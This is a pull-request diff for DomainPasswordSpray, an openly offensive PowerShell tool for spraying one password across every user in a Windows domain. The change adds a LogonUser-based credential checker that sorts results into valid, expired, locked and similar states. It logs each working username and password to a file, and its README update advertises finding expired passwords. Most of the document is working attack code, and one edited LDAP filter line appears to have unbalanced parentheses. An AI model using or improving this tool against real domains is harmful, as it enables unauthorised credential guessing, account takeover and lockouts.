Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 126 additions & 22 deletions DomainPasswordSpray.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -171,6 +171,7 @@ function Invoke-DomainPasswordSpray{
if ($UserList -eq "")
{
$UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter

}
else
{
Expand Down Expand Up @@ -430,7 +431,7 @@ function Get-DomainUserList
# uac 0x10 is LOCKOUT
# See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
$UserSearcher.filter =
"(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
"(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
}
else
{
Expand Down Expand Up @@ -497,6 +498,65 @@ function Get-DomainUserList
return $UserListArray
}

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class LogonUtil {
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUser(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
out IntPtr phToken
);
}
"@ -ErrorAction Stop

function Test-KerberosCredential {
param (
[string]$Username,
[string]$Password,
[string]$Domain = $env:USERDOMAIN
)

$tokenHandle = [IntPtr]::Zero
$LogonType = 2 # Interactive
$LogonProvider = 2 # Use default (Kerberos if joined to domain)

$success = [LogonUtil]::LogonUser($Username, $Domain, $Password, $LogonType, $LogonProvider, [ref]$tokenHandle)

if ($success) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($tokenHandle)
return [pscustomobject]@{
Username = $Username
Password = $Password
Domain = $Domain
Status = "VALID"
}
} else {
$errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
$status = switch ($errorCode) {
1326 { "INVALID PASSWORD" }
1327 { "USER NOT FOUND" }
1328 { "INVALID LOGON HOURS" }
1329 { "INVALID WORKSTATION" }
1330 { "PASSWORD EXPIRED"}
1907 { "PASSWORD MUST CHANGE" }
1909 { "ACCOUNT LOCKED" }
default { "ERROR $errorCode" }
}
return [pscustomobject]@{
Username = $Username
Password = $Password
Domain = $Domain
Status = $status
}
}
}

function Invoke-SpraySinglePassword
{
param(
Expand Down Expand Up @@ -528,38 +588,82 @@ function Invoke-SpraySinglePassword
$count = $UserListArray.count
Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())"
$curr_user = 0
if ($OutFile -ne ""-and -not $Quiet)
{
Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"

if ($OutFile -ne "" -and -not $Quiet) {
Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"
}

$RandNo = New-Object System.Random

foreach ($User in $UserListArray)
{
if ($UsernameAsPassword)
{
foreach ($User in $UserListArray) {
if ($UsernameAsPassword) {
$Password = $User
}
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
if ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password

$dnsDomain = ($Domain -split ",DC=" -replace "LDAP://|DC=" | Where-Object { $_ }) -join '.'
$result = Test-KerberosCredential -Username $User -Password $Password -Domain $dnsDomain

if ($result.status -ne $null) {
switch ($result.Status) {
"VALID" {
Write-Host -ForegroundColor Green "[+] VALID: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password)"
}
}

"PASSWORD EXPIRED" {
Write-Host -ForegroundColor Cyan "[!] PASSWORD EXPIRED: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD EXPIRED"
}
}

"PASSWORD MUST CHANGE" {
Write-Host -ForegroundColor Cyan "[!] PASSWORD MUST CHANGE: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD MUST CHANGE"
}
}

"INVALID LOGON HOURS" {
Write-Host -ForegroundColor Cyan "[!] INVALID LOGON HOURS: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID LOGON HOURS"
}
}

"INVALID WORKSTATION" {
Write-Host -ForegroundColor Cyan "[!] INVALID WORKSTATION: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID WORKSTATION"
}
}

"ACCOUNT LOCKED" {
Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username):$($result.Password)"
if ($OutFile -ne "") {
Add-Content $OutFile "$($result.Username):$($result.Password) # ACCOUNT LOCKED"
}
}

default {
if (-not $Quiet) {
Write-Host "[-] $($result.Status): $($result.Domain)\$($result.Username)"
}
}
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
}

$curr_user += 1
if (-not $Quiet)
{
Write-Host -nonewline "$curr_user of $count users tested`r"
if (-not $Quiet) {
Write-Host -NoNewline "$curr_user of $count users tested`r"
}
if ($Delay)
{
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

if ($Delay) {
Start-Sleep -Seconds $RandNo.Next((1 - $Jitter) * $Delay, (1 + $Jitter) * $Delay)
}
}

}

function Get-ObservationWindow($DomainEntry)
Expand Down
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,7 @@
# DomainPasswordSpray

UPDATE: This version now validates credentials based on LDAP codes allowing you to find expired passwords and others.

DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

## Quick Start Guide
Expand Down